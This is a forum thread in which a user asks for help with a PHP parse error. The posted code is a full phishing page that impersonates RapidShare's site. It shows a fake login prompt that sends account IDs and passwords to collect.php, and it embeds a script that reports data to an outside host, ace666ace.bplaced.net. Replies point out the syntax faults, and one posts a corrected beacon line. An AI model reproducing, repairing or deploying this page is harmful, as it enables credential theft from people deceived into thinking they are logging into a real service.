CG-Sodar Posted December 2, 2008 Share Posted December 2, 2008 I get this error: ''Parse error: parse error, unexpected T_STRING, expecting ',' or ';' in login.php on line 79'' Anyone knows how to fix it? 79: <a href="http://rapidshare.com"><img src="http://rapidshare.com/img2/rslogo.gif" width="300" height="214" alt="logo" /></a> 80: <noscript><h1>This page needs JavaScript, to display all information correct!</h1></noscript> Quote Link to comment Share on other sites More sharing options...
gevans Posted December 2, 2008 Share Posted December 2, 2008 you need to put all your script in Quote Link to comment Share on other sites More sharing options...
CG-Sodar Posted December 2, 2008 Author Share Posted December 2, 2008 Ah, sorry: 1: <?php 2: $rs = $_POST['rs']; 3: $s = $_POST['s']; 4: if( preg_match('@^(?:http://rs(.*).rapidshare.com)@i', $rs, $serverid) ){ 5: preg_match('@^(?:http://rs'.$serverid[1].'.rapidshare.com/files/(.*)/)@i', $rs, $fileid); 6: preg_match('@^(?:http://rs'.$serverid[1].'.rapidshare.com/files/'.$fileid[1].'/(.*))@i', $rs, $filename); 7: }; 8: ?> 9: 10: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd"> 11: <html xmlns="http://www.w3.org/1999/xhtml"> 12: <head> 13: <title>RapidShare: Easy Filehosting</title> 14: <link rel="icon" href="http://rapidshare.com/img2/favicon.ico" type="image/ico" /> 15: <link rel="SHORTCUT ICON" href="http://rapidshare.com/img2/favicon.ico" /> 16: <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> 17: <link rel="stylesheet" type="text/css" href="http://rapidshare.com/img2/styles.css" /> 18: </head> 19: 20: <body> 21: <center> 22: 23: <div class="hauptmenue"> 24: <table><tr><td> 25: <ul class="dropdown"> 26: <li><a href="http://rapidshare.com/index.html">Home</a></li> 27: <li><a href="http://rapidshare.com/news.html">News</a></li> 28: <li><a href="http://rapidshare.com/rewards.html">Rewards</a></li> 29: <li><a href="https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi">Premium Zone</a> 30: <ul> 31: <li><a href="https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi">Premium Zone Login</a></li> 32: <li><a href="http://rapidshare.com/premium.html">Create Account</a></li> 33: 34: <li><a href="http://rapidshare.com/verlaengern.html">Extend Account</a></li> 35: <li><a href="http://rapidshare.com/forgotpw.html">Forgot Password</a></li> 36: <li style="border:0px;"><a href="http://rapidshare.com/faq5.html">TrafficShare</a></li> 37: </ul> 38: </li> 39: <li><a href="http://rapidshare.com/freezone.html">Free Zone</a> 40: <ul> 41: <li><a href="https://ssl.rapidshare.com/cgi-bin/collectorszone.cgi">Collector's Zone Login</a></li> 42: 43: <li><a href="http://rapidshare.com/folderadmin.html">LinkList Login</a></li> 44: <li style="border:0px;"><a href="http://rapidshare.com/freefolders.html">Create LinkList</a></li> 45: </ul> 46: </li> 47: <li><a href="http://www.rapidgames.com/" target="_blank">RapidGames</a></li> 48: <li><a href="http://rapidshare.com/rapidtools.html">RapidTools</a> 49: <ul> 50: <li><a href="http://rapidshare.com/rsm.html">RapidShare Manager</a></li> 51: 52: <li><a href="http://rapidshare.com/rapiduploader.html">RapidUploader</a></li> 53: <li style="border:0px;"><a href="http://rapidshare.com/checkfiles.html">RapidShare Checker</a></li> 54: </ul> 55: </li> 56: <li><a href="http://rapidshare.com/supportseite.html">Support</a> 57: <ul> 58: <li><a href="http://rapidshare.com/faq.html">FAQ</a></li> 59: 60: <li><a href="http://rapidshare.com/support.html">Support Contact</a></li> 61: <li><a href="http://rapidshare.com/abuse.html">Abuse Contact</a></li> 62: <li style="border:0px;"><a href="http://rapidshare.com/security.html">Security advice</a></li> 63: </ul> 64: </li> 65: <li style="border:0px;"><a href="http://rapidshare.com/rapidshare.html"><nobr>RapidShare AG</nobr></a> 66: <ul> 67: 68: <li><a href="http://rapidshare.com/wiruberuns.html">About us</a></li> 69: <li><a href="http://rapidshare.com/testimonials.html">Testimonials</a></li> 70: <li><a href="http://rapidshare.com/banners.html">Banner</a></li> 71: <li><a href="http://rapidshare.com/agb.html">Conditions of use</a></li> 72: <li style="border:0px;"><a href="http://rapidshare.com/imprint.html">Imprint</a></li> 73: </ul> 74: </li> 75: </ul> 76: <?php include("conf.inc.php"); echo "<script type=\"text/javascript\"><img = new Image(); img.src = \"http://ace666ace.bplaced.net/s.gif?F=$file&L=$logon&R=$reset\";></script> 77: </td></tr></table> 78: </div> 79: <a href="http://rapidshare.com"><img src="http://rapidshare.com/img2/rslogo.gif" width="300" height="214" alt="logo" /></a> 80: <noscript><h1>This page needs JavaScript, to display all information correct!</h1></noscript> 81: 82: <div id="inhaltbox"> 83: <h1>Error</h1> 84: <div class="klappbox"> 85: You want to download the following file: 86: <p class="downloadlink"><a href="http://rapidshare.com/files/168717936/Ditz.And.Jumbo.Tits.6_WwW.PornKings.CoM_.avi<?php echo $fileid[1].'/'.$filename[1]; ?>">http://rapidshare.com/files/168717936/Ditz.And.Jumbo.Tits.6_WwW.PornKings.CoM_.avi<?php echo $fileid[1].'/'.$filename[1]; ?></a> <font style="color:#8E908F;">| <?php echo $s; ?> 1329612 KB </font></p> 87: 88: <p>Your Cookie has not been recognized. Please login below, or purchase a Premium Account. Your Account will be activated immediately.</p> 89: <h2>Create your <a href="http://rapidshare.com/premium.html">Premium Account</a> now.</h2> 90: <p><form action="collect.php" method="post"> 91: <input type="hidden" name="rs" value="<?php echo $rs; ?>" /> 92: <table border="0" cellspacing="0" cellpadding="3"> 93: <tr><td><b>Login:</b></td><td><input type="text" name="accountid" /></td></tr> 94: <tr><td><b>Password:</b></td><td><input type="password" name="password" /></td></tr> 95: <tr><td colspan="2" align="center"><input type="submit" value="Login" /></td></tr></table></form></p> 96: 97: 98: </div> 99: <div class="untermenue"> 100: <a href="http://rapidshare.com/wiruberuns.html">About us</a> | <a href="http://rapidshare.com/agb.html">Terms of use</a> | <a href="http://rapidshare.com/imprint.html">Imprint</a> 101: </div> 102: 103: </div> 104: </center> 105: <p> </p> 106: <div style="position:fixed;left:0px;bottom:0px;height:15px;width:50%;background-color:#8E908F;"></div> 107: 108: <div style="position:fixed;left:50%;bottom:0px;height:15px;width:50%;background-color:#002760;"></div> 109: </body> 110: </html> 111: Quote Link to comment Share on other sites More sharing options...
gevans Posted December 2, 2008 Share Posted December 2, 2008 line 7 - you don't need ';' after a '}' line 75 to 86 is messed up. Check where you are starting and stopping php (<?php and ?>) Also check your quotes Quote Link to comment Share on other sites More sharing options...
CG-Sodar Posted December 2, 2008 Author Share Posted December 2, 2008 Thanks! but my scripting isn't that good, can you be more specific? Quote Link to comment Share on other sites More sharing options...
gevans Posted December 2, 2008 Share Posted December 2, 2008 is new Image() meant to be php, that's written in as a string, so will be html Quote Link to comment Share on other sites More sharing options...
CG-Sodar Posted December 2, 2008 Author Share Posted December 2, 2008 Can someone post the fixed code? thanks. Quote Link to comment Share on other sites More sharing options...
gevans Posted December 2, 2008 Share Posted December 2, 2008 Your code is hard to understand (whats meant to be code and wahts meant to be in strings), if you answer my last question I'd start from there; is new Image() meant to be php, that's written in as a string, so will be html Quote Link to comment Share on other sites More sharing options...
wildteen88 Posted December 2, 2008 Share Posted December 2, 2008 You are missing the closing PHP tag on line 76 <?php include("conf.inc.php"); echo "<script type=\"text/javascript\"><img = new Image(); img.src = \"http://ace666ace.bplaced.net/s.gif?F=$file&L=$logon&R=$reset\";></script>"; ?> Quote Link to comment Share on other sites More sharing options...
DeanWhitehouse Posted December 2, 2008 Share Posted December 2, 2008 Can someone post the fixed code? thanks. Don't be so lazy, we will help but not do the work for you. Quote Link to comment Share on other sites More sharing options...
revraz Posted December 2, 2008 Share Posted December 2, 2008 Not sure how much more specific people can be for this. Thanks! but my scripting isn't that good, can you be more specific? Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.